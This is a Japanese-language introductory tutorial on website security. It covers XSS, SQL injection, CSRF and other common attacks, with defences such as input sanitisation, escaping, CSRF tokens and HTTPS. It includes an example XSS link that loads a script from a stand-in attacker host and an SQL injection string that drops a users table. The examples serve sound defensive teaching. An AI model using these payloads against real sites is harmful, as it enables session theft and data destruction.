Web サイトのセキュリティでは、Web サイトのデザインと使用方法のあらゆる面で警戒が必要です。この入門記事だけでは Web サイトのセキュリティの第一人者にはなれませんが、脅威がどこから発生するのか、そして最も一般的な攻撃に対して Web アプリケーションを強化するために何ができるのかを理解するのに役立ちます。

前提条件: 基本的なコンピュータリテラシー
目標: Web アプリケーションのセキュリティに対する最も一般的な脅威と、サイトがハッキングされるリスクを減らすためにできることを理解する。

Web サイトのセキュリティとは?

インターネットは危険な場所です。定期的に、サービス拒否攻撃によって Web サイトが利用できなくなったり、自分のホームページに変更された (多くの場合有害な) 情報を表示したりすることがあります。その他の注目を集める事例では、何百万ものパスワード、メールアドレス、およびクレジットカードの詳細がパブリックドメインに漏洩し、Web サイトの利用者を個人的な当惑と経済的リスクの両方にさらしています。

Web サイトのセキュリティの目的は、これらの (または任意の) 種類の攻撃を防ぐことです。Web サイトセキュリティのより正式な定義は、許可されていないアクセス、使用、改変、破壊、または混乱から Web サイトを保護することです

効果的な Web サイトセキュリティでは、Web アプリケーション、Web サーバの設定、パスワードの作成と更新に関するポリシー、およびクライアント側のコードなど、Web サイト全体にわたる設計作業が必要です。すべて不吉に聞こえるかもしれませんが、サーバサイド Web フレームワークを使用している場合、多くの一般的な攻撃に対して「デフォルトで」堅牢でよく考え抜かれた防御メカニズムがほぼ確実に有効になります。HTTPS を有効にするなど、他の攻撃は Web サーバの設定を通じて軽減できます。最後に、明らかな間違いを犯したかどうかを確認するのに役立つ、公開されている脆弱性スキャナツールがあります。

この記事の残りの部分では、いくつかの一般的な脅威と、サイトを保護するために実行できる簡単な手順の詳細について説明します。

メモ: これは導入トピックであり、Web サイトのセキュリティについて考え始めるのに役立つように設計されていますが、網羅的なものではありません。

Web サイトのセキュリティ上の脅威

このセクションでは、最も一般的な Web サイトの脅威をいくつか紹介し、それらがどのように軽減されるのかを示します。 お読みになったところでは、Webアプリケーションがブラウザから来るデータについて信頼しているか、または十分に妄想的ではない場合に、脅威が最も効果的であることに注意してください。

クロスサイトスクリプティング (XSS)

XSS は、攻撃者が Web サイトを通じて他のユーザのブラウザにクライアントサイドのスクリプトを挿入することを可能にする一連の攻撃を表すために使用される用語です。注入されたコードはサイトからブラウザに送信されるため、コードは信頼されており、ユーザのサイト認証 Cookie を攻撃者に送信するなどのことが可能です。攻撃者が Cookie を持っていると、あたかもユーザであるかのようにサイトにログインし、クレジットカードの詳細へのアクセス、連絡先の詳細の表示、パスワードの変更など、ユーザができることなら何でもできます。

メモ: XSS 脆弱性は、他のどの種類のセキュリティの脅威よりも歴史的に一般的です。

XSS 脆弱性は、サイトが挿入されたスクリプトをブラウザに返す方法に基づいて、反映型永続型に分けられます。

  • サーバに渡されたユーザコンテンツがただちに返され、変更されずにブラウザ側で表示される場合に、XSS の脆弱性が反映されます。元のユーザコンテンツのスクリプトはすべて、新しいページが読み込まれたときに実行されます。たとえば、検索語がURLパラメータとしてエンコードされ、これらの語が結果と一緒に表示されるサイト検索機能を考えてみましょう。攻撃者は悪意のあるスクリプトをパラメータとして含む検索リンク (例: http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>) を作成し、それを別のユーザにメールで送信することができます。ターゲットユーザがこの「関連リンク」をクリックすると、検索結果が表示されたときにスクリプトが実行されます。すでに説明したように、これにより攻撃者はターゲットユーザとしてサイトに入るために必要なすべての情報が得られ、ユーザとして購入したり、連絡先情報を共有したりする可能性があります。
  • 悪意のあるスクリプトが Web サイトに保存され、その後、他のユーザが知らないうちに実行されるように変更されないまま再表示されると、永続的な XSS の脆弱性が発生します。たとえば、変更されていない HTML を含むコメントを受け付けるディスカッション掲示板は、攻撃者からの悪意のあるスクリプトが埋め込まれる可能性があります。コメントが表示されると、スクリプトが実行され、ユーザのアカウントにアクセスするために必要な情報が攻撃者に送信される可能性があります。この種の攻撃は非常に有名で強力です。攻撃者は被害者と直接関わりさえしないかもしれないからです。

POST または GET リクエストからのデータが XSS の脆弱性の最も一般的な原因ですが、ブラウザによって表示される Cookie データやアップロードされて表示されるユーザファイルなど、ブラウザからのデータはすべて潜在的に脆弱です。

XSS の脆弱性に対する最善の防御策は、コードを実行するための指示を含む可能性があるマークアップを削除または無効にすることです。HTML の場合、これには <script><object><embed>、および <link> などの要素が含まれます。

スクリプトを実行したり、サーバコードの実行に影響を与えたりすることができないようにユーザデータを変更するプロセスは、入力サニタイズと呼ばれます。多くの Web フレームワークは、デフォルトで HTML フォームからのユーザ入力を自動的にサニタイズします。

SQL インジェクション

SQL インジェクションの脆弱性により、悪意のあるユーザはデータベース上で任意の SQL コードを実行することができ、ユーザの許可に関係なくデータへのアクセス、変更、削除ができます。インジェクション攻撃が成功すると、ID を偽装したり、管理者権限を持つ新しい ID を作成したり、サーバ上のすべてのデータにアクセスしたり、データを破壊または変更して使用できなくなる可能性があります。

SQL インジェクションの種類には、エラーベースの SQL インジェクション、ブールエラーに基づく SQL インジェクション、および時間ベースの SQL インジェクションがあります。

ベースとなる SQL ステートメントに渡されるユーザ入力がステートメントの意味を変更する可能性がある場合に、この脆弱性が存在します。たとえば、次のコードは、HTML フォームから提供された特定の名前 (userName) を持つすべてのユーザを一覧表示することを目的としています。

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

ユーザが実名を指定した場合、そのステートメントは意図したとおりに機能します。ただし、悪意のあるユーザは userName に太字のテキストを指定するだけで、この SQL ステートメントの動作を次の例の新しいステートメントに完全に変更する可能性があります。

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';

変更された文は、users テーブルを削除し、userinfo テーブルからすべてのデータを選択する (すべてのユーザの情報を表示する) 有効な SQL 文を作成します。これは、挿入されたテキストの最初の部分 (a';) が元の文を完成させるために機能します。

この種の攻撃を回避するには、SQL クエリに渡されるユーザデータがクエリの性質を変更できないようにする必要があります。これを行う1つの方法は、SQL で特別な意味を持つユーザ入力内のすべての文字をエスケープすることです。

メモ: SQL ステートメントは、 ' 文字を文字列リテラルの開始と終了として扱います。この文字の前に円記号を入れる (\') ことで、シンボルをエスケープし、代わりにそれを文字 (文字列の一部) として扱うように SQL に指示します。

次の文では、' 文字をエスケープします。SQL は名前を太字の文字列全体として解釈します (これは非常に奇妙な名前ですが、有害ではありません)。

SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';

Web フレームワークはしばしばあなたのためにエスケープする文字の面倒を見るでしょう。たとえば、Django はクエリセット (モデルクエリ) に渡されたユーザデータが確実にエスケープされるようにします。

メモ: このセクションはここウィキペディアの情報に大きく依存しています。

クロスサイトリクエストフォージェリ (CSRF)

CSRF 攻撃は、悪意のあるユーザが他のユーザの資格情報を使用して、そのユーザの知らないうちに同意なしでアクションを実行することを可能にします。

この種の攻撃は、例で最もよく説明されています。John は、特定のサイトでログインユーザがアカウント名と金額を含むHTTP POST リクエストを使用して特定のアカウントに送金できることを知っている悪意のあるユーザです。John は、自分の銀行の詳細と金額を隠しフィールドとして含むフォームを作成し、それを他のサイトユーザにメールで送信します ([送信] ボタンは [早く金持ちになる] サイトへのリンクとして偽装)。

ユーザが[送信]ボタンをクリックすると、トランザクションの詳細と、サイトに関連付けられているブラウザが要求したクライアント側の Cookie を含む HTTP POST リクエストがサーバに送信されます (リクエストに関連サイトの Cookie を追加するのは通常のブラウザの動作です)。サーバは Cookie をチェックし、それらを使用してユーザがログインしていてトランザクションを実行する権限を持っているかどうかを判断します。

その結果、取引サイトにログインしている間に [送信] ボタンをクリックしたすべてのユーザが取引を行うことになります。 John は金持ちになります。

メモ: ここでのトリックは、John がユーザの cookie (またはアクセス資格情報) にアクセスする必要がないことです。 ユーザのブラウザはこの情報を保存し、関連するサーバへのすべてのリクエストに自動的に含めます。

この種の攻撃を防ぐ1つの方法は、サーバが POST リクエストにユーザ固有のサイト生成のシークレット情報を含めることを要求することです。転送に使用される Web フォームを送信するときに、シークレットがサーバによって提供されます。この方法では、サーバからユーザに提供されているシークレットを知っている必要があるため、John は独自のフォームを作成できません。たとえ彼がシークレットを見つけて特定のユーザのためにフォームを作成したとしても、彼はもはやその同じフォームを使用してすべてのユーザを攻撃することはできないでしょう。

Web フレームワークには、そのような CSRF 防止メカニズムが含まれていることがよくあります。

その他の脅威

その他の一般的な攻撃/脆弱性は次のとおりです。

  • クリックジャッキング。この攻撃では、悪意のあるユーザが目に見えるトップレベルサイトのクリックをハイジャックし、その下にある非表示のページにルーティングします。このテクニックは、例えば、合法的な銀行のサイトを表示するが、攻撃者によって制御された目に見えない <iframe> にログイン資格情報をキャプチャするために使用されるかもしれません。クリックジャックを使用して、表示されているサイト上のボタンをユーザにクリックさせることもできますが、実際にはまったく違うボタンを無意識にクリックしています。対応策として、サイトに他のサイトの iframe を埋め込まれないように適切な HTTP ヘッダを設定することで防ぐことができます。
  • Denial of Service (DoS)。DoS は通常、正当なユーザのサイトへのアクセスが妨害されるように、偽のリクエストで対象のサイトをあふれさせることで達成されます。リクエストは単純で多数あり得るか、または個々に大量のリソースを消費し得る (例えば、遅い読み取りまたは大きなファイルのアップロード) ものです。DoS 防御は通常、正当なメッセージの通過を許可しながら、「悪い」トラフィックを識別してブロックすることによって機能します。これらの防御は通常、Web サーバの前または内部にあります (これらは Web アプリケーション自体の一部ではありません)。
  • ディレクトリトラバーサル (ファイルと開示)。この攻撃では、悪意のあるユーザが Web サーバのファイルシステムのアクセスできない部分にアクセスを試みます。この脆弱性は、ユーザがファイルシステムのナビゲーション文字を含むファイル名 (たとえば../../) を渡すことができる場合に発生します。解決策は、使用する前に入力をサニタイズすることです。
  • ファイルインクルード。この攻撃では、ユーザはサーバに渡されたデータを表示または実行するための「意図しない」ファイルを指定することができます。このファイルがロードされると、Web サーバまたはクライアントサイドで実行される (XSS 攻撃につながる) 可能性があります。解決策は、使用する前に入力をサニタイズすることです。
  • コマンドインジェクション。コマンドインジェクション攻撃により、悪意のあるユーザはホスト OS で任意のシステムコマンドを実行することができます。解決策は、システムコールで使用される前にユーザ入力をサニタイズすることです。

Web サイトのセキュリティ脅威の包括的な一覧については、Category: Web security exploits (Wikipedia) および Category: Attack (Open Web Application Security Project) を参照してください。

いくつかの重要なメッセージ

Web アプリケーションがブラウザからのデータを信頼している場合、前のセクションのセキュリティ上の悪用のほとんどすべてが成功します。Web サイトのセキュリティを向上させるために他に何をしても、ブラウザから表示される前、SQL クエリで使用される前、または OS やファイルシステムの呼び出しに渡される前に、すべてのユーザ発信データをサニタイズする必要があります。

重要: Web サイトのセキュリティについて学ぶことができる最も重要な教訓は、ブラウザからのデータを決して信用しないことです。これには GET リクエスト、POST リクエスト、HTTP ヘッダと Cookie、およびユーザがアップロードしたファイルの URL パラメータのデータが含まれますが、これらに限りません。すべての受信データを常にチェックしてサニタイズしてください。常に最悪の事態を想定してください。

あなたが取ることができる他の具体的なステップはいくつかあります:

  • より効果的なパスワード管理を使用してください。 定期的に変更される強力なパスワードを推奨します。 パスワードに加えてユーザが別の認証コード (通常は、自分の電話に送信される SMS のコードなど、ユーザだけが所有する物理的なハードウェアを介して配信されるもの) を入力する必要があるように、サイトの2要素認証を検討してください。
  • HTTPS および HTTP Strict Transport Security (HSTS) を使用するように Web サーバを設定します。HTTPS は、クライアントとサーバ間で送信されるデータを暗号化します。これにより、ログイン認証情報、Cookie、POST リクエストデータ、およびヘッダ情報が攻撃者に容易に利用されないようになります。
  • 最も一般的な脅威 (現在の OWASP リストはこちら) を追跡し、最も一般的な脆弱性を最初に解決します。
  • サイトで自動セキュリティテストを実行するには、脆弱性スキャンツールを使用してください。後で、非常に成功した Web サイトも Mozilla がここでしているようなバグ報奨金を提供することによってバグが見つかるかもしれません。
  • 必要なデータのみを保存して表示してください。たとえば、ユーザがクレジットカード情報などの機密情報を保存する必要がある場合は、ユーザが識別できるだけの十分なカード番号を表示してください。そうすれば攻撃者がそれをコピーして別のサイトで使用することはできません。現時点で最も一般的なパターンは、クレジットカード番号の最後の4桁だけを表示することです。

Web フレームワークは、より一般的な脆弱性の多くを軽減するのに役立ちます。

まとめ

この記事では、Web セキュリティの概念と、Web サイトが保護しようとする一般的な脅威について説明しました。最も重要なことは、Web アプリケーションは Web ブラウザからのデータを信頼できないということです。すべてのユーザデータは、表示する前にサニタイズするか、SQL クエリやファイルシステムコールで使用する必要があります。

この記事で、モジュールの終わりに来ました。サーバサイドの Web サイトプログラミングの最初のステップをカバーしました。これらの基本概念を学んで楽しんでいただければ幸いです。これで Web フレームワークを選択してプログラミングを開始する準備が整いました。

このモジュールの記事一覧